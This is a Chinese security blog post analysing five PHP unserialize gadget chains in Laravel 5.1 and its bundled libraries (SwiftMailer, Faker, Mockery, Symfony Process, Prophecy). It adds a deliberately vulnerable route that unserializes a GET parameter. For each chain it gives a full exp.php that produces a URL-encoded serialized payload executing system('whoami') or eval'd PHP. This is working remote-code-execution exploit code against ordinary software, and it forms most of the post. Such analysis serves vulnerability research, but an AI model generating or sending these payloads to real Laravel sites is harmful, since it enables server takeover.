laravel5.1反序列化

本文分析laravel5.1的反序列化链子

0x00 环境搭建

  1. composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
  2. #下载的版本应该是 5.4.30的。

添加路由(routes/web.php)

  1. Route::get('/index', function () {
  2. $payload=$_GET['cmd'];
  3. echo $payload;
  4. echo '<br>';
  5. unserialize(($payload));
  6. return 'hello binbin';
  7. });

0x01 链子1

通过全局搜索function __destruct(

发现

  1. //lib/classes/Swift/Transport/AbstractSmtpTransport.php
  2. public function __destruct()
  3. {
  4. try {
  5. $this->stop();
  6. } catch (Exception $e) {
  7. }
  8. }

跟进stop()

  1. //lib/classes/Swift/Transport/AbstractSmtpTransport.php
  2. public function stop()
  3. {
  4. if ($this->_started) {
  5. if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {//__call
  6. $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped');
  7. if ($evt->bubbleCancelled()) {
  8. return;
  9. }
  10. }
  11. try {
  12. $this->executeCommand("QUIT\r\n", array(221));
  13. } catch (Swift_TransportException $e) {
  14. }
  15. try {
  16. $this->_buffer->terminate();//__call
  17. if ($evt) {
  18. $this->_eventDispatcher->dispatchEvent($evt, 'transportStopped');
  19. }
  20. } catch (Swift_TransportException $e) {
  21. $this->_throwException($e);
  22. }
  23. }
  24. $this->_started = false;
  25. }

寻找__call方法

  1. //src/Faker/ValidGenerator.php
  2. public function __call($name, $arguments)
  3. {
  4. $i = 0;
  5. do {
  6. $res = call_user_func_array(array($this->generator, $name), $arguments);
  7. $i++;
  8. if ($i > $this->maxRetries) {
  9. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
  10. }
  11. } while (!call_user_func($this->validator, $res));
  12. return $res;
  13. }

上面的方法中,!call_user_func($this->validator, $res)可用,只需要控制$res即可RCE

array($this->generator, $name)表示某个类的某个方法,于是寻找一个返回值可控的函数或者__call方法

  1. //src/Faker/DefaultGenerator.php
  2. //laravel中经典的方法
  3. public function __call($method, $attributes)
  4. {
  5. return $this->default;
  6. }

于是就可以进行RCE

注意:由于Swift_Transport_AbstractSmtpTransport是一个抽象类,所以要使用它的子类进行序列化Swift_Transport_EsmtpTransport

exp.php

  1. <?php
  2. namespace Faker {
  3. class ValidGenerator
  4. {
  5. protected $generator;
  6. protected $validator;
  7. protected $maxRetries;
  8. public function __construct($generator, $validator ,$maxRetries)
  9. {
  10. $this->generator = $generator;
  11. $this->validator = $validator;
  12. $this->maxRetries = $maxRetries;
  13. }
  14. }
  15. }
  16. namespace Faker {
  17. class DefaultGenerator
  18. {
  19. protected $default;
  20. public function __construct($default)
  21. {
  22. $this->default = $default;
  23. }
  24. }
  25. }
  26. namespace {
  27. use Faker\DefaultGenerator;
  28. use Faker\ValidGenerator;
  29. class Swift_Transport_EsmtpTransport
  30. {
  31. protected $_started = true;
  32. protected $_eventDispatcher;
  33. public function __construct($_started, $_eventDispatcher)
  34. {
  35. $this->_started = $_started;
  36. $this->_eventDispatcher = $_eventDispatcher;
  37. }
  38. }
  39. $defaultGenerator = new DefaultGenerator("whoami");
  40. $validGenerator = new ValidGenerator($defaultGenerator,"system",9);
  41. $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $validGenerator);
  42. echo urlencode((serialize($swift_Transport_EsmtpTransport)));
  43. }

0x02 链子2

寻找__destruct方法

  1. //lib/classes/Swift/KeyCache/DiskKeyCache.php
  2. public function __destruct()
  3. {
  4. foreach ($this->_keys as $nsKey => $null) {
  5. $this->clearAll($nsKey);
  6. }
  7. }

跟进clearAll方法

  1. //lib/classes/Swift/KeyCache/DiskKeyCache.php
  2. public function clearAll($nsKey)
  3. {
  4. if (array_key_exists($nsKey, $this->_keys)) {
  5. foreach ($this->_keys[$nsKey] as $itemKey => $null) {
  6. $this->clearKey($nsKey, $itemKey);
  7. }
  8. if (is_dir($this->_path.'/'.$nsKey)) {
  9. rmdir($this->_path.'/'.$nsKey);
  10. }
  11. unset($this->_keys[$nsKey]);
  12. }
  13. }

跟进clearKey方法

  1. //lib/classes/Swift/KeyCache/DiskKeyCache.php
  2. public function clearKey($nsKey, $itemKey)
  3. {
  4. if ($this->hasKey($nsKey, $itemKey)) {
  5. $this->_freeHandle($nsKey, $itemKey);
  6. unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
  7. }
  8. }

跟进hasKey方法

  1. public function hasKey($nsKey, $itemKey)
  2. {
  3. return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
  4. //function is_file (string $filename): bool
  5. }

is_file方法会将$this->_path转换成字符串,会调用$this->_path__tostring

搜索__tostring

  1. //library/Mockery/Generator/DefinedTargetClass.php
  2. public function __toString()
  3. {
  4. return $this->getName();
  5. }
  6. public function getName()
  7. {
  8. return $this->rfc->getName();
  9. }

于是就可以调用__call方法,就可以使用链子1的后面的链子

寻找__call方法

  1. //src/Faker/ValidGenerator.php
  2. public function __call($name, $arguments)
  3. {
  4. $i = 0;
  5. do {
  6. $res = call_user_func_array(array($this->generator, $name), $arguments);
  7. $i++;
  8. if ($i > $this->maxRetries) {
  9. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
  10. }
  11. } while (!call_user_func($this->validator, $res));
  12. return $res;
  13. }

上面的方法中,!call_user_func($this->validator, $res)可用,只需要控制$res即可RCE

array($this->generator, $name)表示某个类的某个方法,于是寻找一个返回值可控的函数或者__call方法

  1. //src/Faker/DefaultGenerator.php
  2. //laravel中经典的方法
  3. public function __call($method, $attributes)
  4. {
  5. return $this->default;
  6. }

exp.php

  1. <?php
  2. namespace Faker {
  3. class ValidGenerator
  4. {
  5. protected $generator;
  6. protected $validator;
  7. protected $maxRetries;
  8. public function __construct($generator, $validator ,$maxRetries)
  9. {
  10. $this->generator = $generator;
  11. $this->validator = $validator;
  12. $this->maxRetries = $maxRetries;
  13. }
  14. }
  15. class DefaultGenerator
  16. {
  17. protected $default;
  18. public function __construct($default)
  19. {
  20. $this->default = $default;
  21. }
  22. }
  23. }
  24. namespace Mockery\Generator {
  25. class DefinedTargetClass
  26. {
  27. private $rfc;
  28. public function __construct($rfc)
  29. {
  30. $this->rfc = $rfc;
  31. }
  32. }
  33. }
  34. namespace {
  35. use Faker\DefaultGenerator;
  36. use Faker\ValidGenerator;
  37. use Mockery\Generator\DefinedTargetClass;
  38. class Swift_KeyCache_DiskKeyCache
  39. {
  40. private $_keys;
  41. private $_path;
  42. public function __construct($_keys, $_path)
  43. {
  44. $this->_keys = $_keys;
  45. $this->_path = $_path;
  46. }
  47. }
  48. $defaultGenerator = new DefaultGenerator("whoami");
  49. $validGenerator = new ValidGenerator($defaultGenerator,"system",3);
  50. $definedTargetClass = new DefinedTargetClass($validGenerator);
  51. $swift_KeyCache_DiskKeyCache = new Swift_KeyCache_DiskKeyCache(array("binbin"=>array("binbin","binbin")),$definedTargetClass);
  52. echo urlencode(serialize($swift_KeyCache_DiskKeyCache));
  53. }

0x03 链子3

寻找__destruct方法

  1. //Pipes/WindowsPipes.php
  2. public function __destruct()
  3. {
  4. $this->close();
  5. $this->removeFiles();
  6. }
  7. private function removeFiles()
  8. {
  9. foreach ($this->files as $filename) {
  10. //function file_exists (string $filename): bool
  11. if (file_exists($filename)) {
  12. @unlink($filename);
  13. }
  14. }
  15. $this->files = array();
  16. }

可以调用$filename__toString

下面使用链子2的后面的路径

搜索__tostring

  1. //library/Mockery/Generator/DefinedTargetClass.php
  2. public function __toString()
  3. {
  4. return $this->getName();
  5. }
  6. public function getName()
  7. {
  8. return $this->rfc->getName();
  9. }

于是就可以调用__call方法,就可以使用链子1的后面的链子

寻找__call方法

  1. //src/Faker/ValidGenerator.php
  2. public function __call($name, $arguments)
  3. {
  4. $i = 0;
  5. do {
  6. $res = call_user_func_array(array($this->generator, $name), $arguments);
  7. $i++;
  8. if ($i > $this->maxRetries) {
  9. throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
  10. }
  11. } while (!call_user_func($this->validator, $res));
  12. return $res;
  13. }

上面的方法中,!call_user_func($this->validator, $res)可用,只需要控制$res即可RCE

array($this->generator, $name)表示某个类的某个方法,于是寻找一个返回值可控的函数或者__call方法

  1. //src/Faker/DefaultGenerator.php
  2. //laravel中经典的方法
  3. public function __call($method, $attributes)
  4. {
  5. return $this->default;
  6. }

exp.php

  1. <?php
  2. namespace Faker {
  3. class ValidGenerator
  4. {
  5. protected $generator;
  6. protected $validator;
  7. protected $maxRetries;
  8. public function __construct($generator, $validator ,$maxRetries)
  9. {
  10. $this->generator = $generator;
  11. $this->validator = $validator;
  12. $this->maxRetries = $maxRetries;
  13. }
  14. }
  15. class DefaultGenerator
  16. {
  17. protected $default;
  18. public function __construct($default)
  19. {
  20. $this->default = $default;
  21. }
  22. }
  23. }
  24. namespace Mockery\Generator {
  25. class DefinedTargetClass
  26. {
  27. private $rfc;
  28. public function __construct($rfc)
  29. {
  30. $this->rfc = $rfc;
  31. }
  32. }
  33. }
  34. /*
  35. * This file is part of the Symfony package.
  36. *
  37. * (c) Fabien Potencier
  38. *
  39. * For the full copyright and license information, please view the LICENSE
  40. * file that was distributed with this source code.
  41. */
  42. namespace Symfony\Component\Process\Pipes {
  43. class WindowsPipes
  44. {
  45. private $files;
  46. public function __construct($files)
  47. {
  48. $this->files = $files;
  49. }
  50. }
  51. }
  52. namespace {
  53. use Faker\DefaultGenerator;
  54. use Faker\ValidGenerator;
  55. use Mockery\Generator\DefinedTargetClass;
  56. use Symfony\Component\Process\Pipes\WindowsPipes;
  57. $defaultGenerator = new DefaultGenerator("whoami");
  58. $validGenerator = new ValidGenerator($defaultGenerator,"system",3);
  59. $definedTargetClass = new DefinedTargetClass($validGenerator);
  60. $windowsPipes = new WindowsPipes(array($definedTargetClass));
  61. echo urlencode(serialize($windowsPipes));
  62. }

入口找得差不多了下面继续寻找可以利用的__call

由于链子1入口比较简单,所以以链子1作为入口,寻找可以利用的__call

0x04 链子4

通过全局搜索function __destruct(

发现

  1. //lib/classes/Swift/Transport/AbstractSmtpTransport.php
  2. public function __destruct()
  3. {
  4. try {
  5. $this->stop();
  6. } catch (Exception $e) {
  7. }
  8. }

跟进stop()

  1. //lib/classes/Swift/Transport/AbstractSmtpTransport.php
  2. public function stop()
  3. {
  4. if ($this->_started) {
  5. if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {//__call
  6. $this->_eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped');
  7. if ($evt->bubbleCancelled()) {
  8. return;
  9. }
  10. }
  11. try {
  12. $this->executeCommand("QUIT\r\n", array(221));
  13. } catch (Swift_TransportException $e) {
  14. }
  15. try {
  16. $this->_buffer->terminate();//__call
  17. if ($evt) {
  18. $this->_eventDispatcher->dispatchEvent($evt, 'transportStopped');
  19. }
  20. } catch (Swift_TransportException $e) {
  21. $this->_throwException($e);
  22. }
  23. }
  24. $this->_started = false;
  25. }

寻找__call方法

  1. //src/Illuminate/Database/DatabaseManager.php
  2. public function __call($method, $parameters)
  3. {
  4. return call_user_func_array([$this->connection(), $method], $parameters);
  5. }
  6. public function connection($name = null)
  7. {
  8. list($name, $type) = $this->parseConnectionName($name);
  9. //返回 [$this->app['config']['database.default'], null]
  10. //$name=$this->app['config']['database.default']
  11. if (! isset($this->connections[$name])) {
  12. $connection = $this->makeConnection($name);
  13. $this->setPdoForType($connection, $type);
  14. $this->connections[$name] = $this->prepare($connection);
  15. }
  16. return $this->connections[$name];
  17. }
  18. protected function parseConnectionName($name)//$name=null
  19. {
  20. $name = $name ?: $this->getDefaultConnection();
  21. return Str::endsWith($name, ['::read', '::write'])
  22. ? explode('::', $name, 2) : [$name, null];
  23. }
  24. public function getDefaultConnection()
  25. {
  26. return $this->app['config']['database.default'];
  27. }
  28. protected function makeConnection($name)//$name=$this->app['config']['database.default']
  29. {
  30. $config = $this->getConfig($name);
  31. //返回$this->app['config']['database.connections'];
  32. if (isset($this->extensions[$name])) {
  33. return call_user_func($this->extensions[$name], $config, $name);
  34. }
  35. $driver = $config['driver'];
  36. if (isset($this->extensions[$driver])) {
  37. return call_user_func($this->extensions[$driver], $config, $name);
  38. //RCE
  39. }
  40. return $this->factory->make($config, $name);
  41. }
  42. protected function getConfig($name) //$name=$this->app['config']['database.default']
  43. {
  44. $name = $name ?: $this->getDefaultConnection();//$name存在,不改变
  45. $connections = $this->app['config']['database.connections'];
  46. if (is_null($config = Arr::get($connections, $name))) {
  47. //$config=$this->app['config']['database.connections'];
  48. throw new InvalidArgumentException("Database [$name] not configured.");
  49. }
  50. return $config;
  51. }
  52. //src/Illuminate/Support/Arr.php
  53. public static function get($array, $key, $default = null)
  54. {
  55. if (is_null($key)) {
  56. return $array;
  57. }
  58. if (isset($array[$key])) {
  59. return $array[$key];
  60. }
  61. foreach (explode('.', $key) as $segment) {
  62. if (! is_array($array) || ! array_key_exists($segment, $array)) {
  63. return value($default);
  64. }
  65. $array = $array[$segment];
  66. }
  67. return $array;
  68. }

对于call_user_func($this->extensions[$name], $config, $name);有两个参数的利用

本来想着system()可以接受两个参数,正常执行

  1. call_user_func("system","calc","binbin");
  2. //可以正常弹计算器

image-20221007161016275.png

exp.php(不能用)

  1. <?php
  2. namespace Illuminate\Database {
  3. class DatabaseManager
  4. {
  5. protected $app;
  6. protected $extensions;
  7. public function __construct()
  8. {
  9. $this->app['config']['database.default']="binbin";
  10. $this->app['config']['database.connections']=array("binbin"=>"whoami");
  11. $this->extensions = array("binbin" =>"system");
  12. }
  13. }
  14. }
  15. namespace {
  16. use Illuminate\Database\DatabaseManager;
  17. class Swift_Transport_EsmtpTransport
  18. {
  19. protected $_started = true;
  20. protected $_eventDispatcher;
  21. public function __construct($_started, $_eventDispatcher)
  22. {
  23. $this->_started = $_started;
  24. $this->_eventDispatcher = $_eventDispatcher;
  25. }
  26. }
  27. $databaseManager = new DatabaseManager();
  28. $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager);
  29. echo urlencode((serialize($swift_Transport_EsmtpTransport)));
  30. }

但是不知道为什么反序列化时不可以使用

只能使用

  1. call_user_func("call_user_func","system","calc");

exp.php

  1. <?php
  2. namespace Illuminate\Database {
  3. class DatabaseManager
  4. {
  5. protected $app;
  6. protected $extensions;
  7. public function __construct()
  8. {
  9. $this->app['config']['database.default']="whoami";
  10. $this->app['config']['database.connections']=array("whoami"=>"system");
  11. $this->extensions = array("whoami" =>"call_user_func");
  12. }
  13. }
  14. }
  15. namespace {
  16. use Illuminate\Database\DatabaseManager;
  17. class Swift_Transport_EsmtpTransport
  18. {
  19. protected $_started = true;
  20. protected $_eventDispatcher;
  21. public function __construct($_started, $_eventDispatcher)
  22. {
  23. $this->_started = $_started;
  24. $this->_eventDispatcher = $_eventDispatcher;
  25. }
  26. }
  27. $databaseManager = new DatabaseManager();
  28. $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager);
  29. echo urlencode((serialize($swift_Transport_EsmtpTransport)));
  30. }

0x05 链子5

寻找__destruct方法

  1. //Pipes/WindowsPipes.php
  2. public function __destruct()
  3. {
  4. $this->close();
  5. $this->removeFiles();
  6. }
  7. private function removeFiles()
  8. {
  9. foreach ($this->files as $filename) {
  10. //function file_exists (string $filename): bool
  11. if (file_exists($filename)) {
  12. @unlink($filename);
  13. }
  14. }
  15. $this->files = array();
  16. }

可以调用$filename__toString

下面使用链子2的后面的路径

搜索__tostring

  1. //src/Prophecy/Argument/Token/ObjectStateToken.php
  2. public function __toString()
  3. {
  4. return sprintf('state(%s(), %s)',
  5. $this->name,
  6. $this->util->stringify($this->value)
  7. );
  8. }

寻找__call方法

  1. //src/Illuminate/Validation/Validator.php
  2. public function __call($method, $parameters)//$method=createTransportChangeEvent
  3. {
  4. $rule = Str::snake(substr($method, 8));
  5. //$rule= ansportChangeEvent
  6. if (isset($this->extensions[$rule])) {
  7. return $this->callExtension($rule, $parameters);
  8. }
  9. throw new BadMethodCallException("Method [$method] does not exist.");
  10. }
  11. protected function callExtension($rule, $parameters)
  12. {
  13. $callback = $this->extensions[$rule];//$rule= ansportChangeEvent
  14. if ($callback instanceof Closure) {
  15. return call_user_func_array($callback, $parameters);
  16. } elseif (is_string($callback)) {
  17. return $this->callClassBasedExtension($callback, $parameters);
  18. }
  19. }
  20. protected function callClassBasedExtension($callback, $parameters)
  21. {
  22. list($class, $method) = explode('@', $callback);
  23. return call_user_func_array([$this->container->make($class), $method], $parameters);
  24. }

此处可以控制$extensions从而控制$callback然后就可以控制$class$method,如果可以控制$this->container->make($class)就可以调用任何类的任何方法

控制$this->container->make($class)

可以使用经典的DefaultGenerator类中的__call返回任意的对象

  1. //src/Faker/DefaultGenerator.php
  2. public function __call($method, $attributes)
  3. {
  4. return $this->default;
  5. }

下面寻找一些危险的函数 如evalsystemcall_user_funcshell_execfile_put_contents等 ,尝试进行调用

  1. class EvalLoader implements Loader
  2. {
  3. public function load(MockDefinition $definition)
  4. {
  5. if (class_exists($definition->getClassName(), false)) {
  6. return;
  7. }
  8. eval("?>" . $definition->getCode());
  9. }
  10. }

跟进getCode

  1. //library/Mockery/Generator/MockDefinition.php
  2. public function getClassName()
  3. {
  4. return $this->config->getName();
  5. }
  6. public function getCode()
  7. {
  8. return $this->code;
  9. }

可以使用经典的DefaultGenerator类中的__call返回任意的对象

  1. //src/Faker/DefaultGenerator.php
  2. public function __call($method, $attributes)
  3. {
  4. return $this->default;
  5. }

exp.php

  1. <?php
  2. namespace Prophecy\Argument\Token {
  3. class ObjectStateToken
  4. {
  5. private $value;
  6. private $util;
  7. public function __construct($value, $util)
  8. {
  9. $this->value = $value;
  10. $this->util = $util;
  11. }
  12. }
  13. }
  14. namespace Faker {
  15. class DefaultGenerator
  16. {
  17. protected $default;
  18. public function __construct($default)
  19. {
  20. $this->default = $default;
  21. }
  22. }
  23. }
  24. namespace Symfony\Component\Process\Pipes {
  25. class WindowsPipes
  26. {
  27. private $files;
  28. public function __construct($files)
  29. {
  30. $this->files = $files;
  31. }
  32. }
  33. }
  34. namespace Mockery\Loader {
  35. class EvalLoader
  36. {
  37. }
  38. }
  39. namespace Illuminate\Validation {
  40. class Validator
  41. {
  42. protected $extensions;
  43. protected $container;
  44. public function __construct($extensions,$container)
  45. {
  46. $this->extensions = $extensions;
  47. $this->container = $container;
  48. }
  49. }
  50. }
  51. namespace Mockery\Generator {
  52. use Faker\DefaultGenerator;
  53. use Mockery\Loader\EvalLoader;
  54. class MockDefinition
  55. {
  56. protected $config;
  57. protected $code;
  58. public function __construct($config)
  59. {
  60. $this->config=$config;
  61. $this->code = ' <?php var_dump(system("whoami"));';
  62. }
  63. }
  64. }
  65. namespace {
  66. use Faker\DefaultGenerator;
  67. use Illuminate\Validation\Validator;
  68. use Mockery\Generator\MockDefinition;
  69. use Mockery\Loader\EvalLoader;
  70. use Prophecy\Argument\Token\ObjectStateToken;
  71. use Symfony\Component\Process\Pipes\WindowsPipes;
  72. $evalLoader = new EvalLoader();
  73. $defaultGenerator1 = new DefaultGenerator("binbin");
  74. $mockDefinition = new MockDefinition($defaultGenerator1);
  75. $defaultGenerator = new DefaultGenerator($evalLoader);
  76. $validator = new Validator(array("y"=>"binbin@load"),$defaultGenerator);
  77. $objectStateToken = new ObjectStateToken($mockDefinition,$validator);
  78. $windowsPipes = new WindowsPipes(array($objectStateToken));
  79. echo urlencode((serialize($windowsPipes)));
  80. }

0x06 提问:

链子4中

对于call_user_func($this->extensions[$name], $config, $name);有两个参数的利用

本来想着system()可以接受两个参数,正常执行

  1. call_user_func("system","calc","binbin");
  2. //可以正常弹计算器

image-20221007161016275.png

exp.php(不能用)

  1. <?php
  2. namespace Illuminate\Database {
  3. class DatabaseManager
  4. {
  5. protected $app;
  6. protected $extensions;
  7. public function __construct()
  8. {
  9. $this->app['config']['database.default']="binbin";
  10. $this->app['config']['database.connections']=array("binbin"=>"whoami");
  11. $this->extensions = array("binbin" =>"system");
  12. }
  13. }
  14. }
  15. namespace {
  16. use Illuminate\Database\DatabaseManager;
  17. class Swift_Transport_EsmtpTransport
  18. {
  19. protected $_started = true;
  20. protected $_eventDispatcher;
  21. public function __construct($_started, $_eventDispatcher)
  22. {
  23. $this->_started = $_started;
  24. $this->_eventDispatcher = $_eventDispatcher;
  25. }
  26. }
  27. $databaseManager = new DatabaseManager();
  28. $swift_Transport_EsmtpTransport = new Swift_Transport_EsmtpTransport(true, $databaseManager);
  29. echo urlencode((serialize($swift_Transport_EsmtpTransport)));
  30. }

为什么反序列化时不可以使用?希望有师傅评论区解答一下

  • 发表于 2022-10-17 10:05:33
  • 阅读 ( 6917 )
  • 分类:漏洞分析

0 条评论

binbin
binbin

4 篇文章

站长统计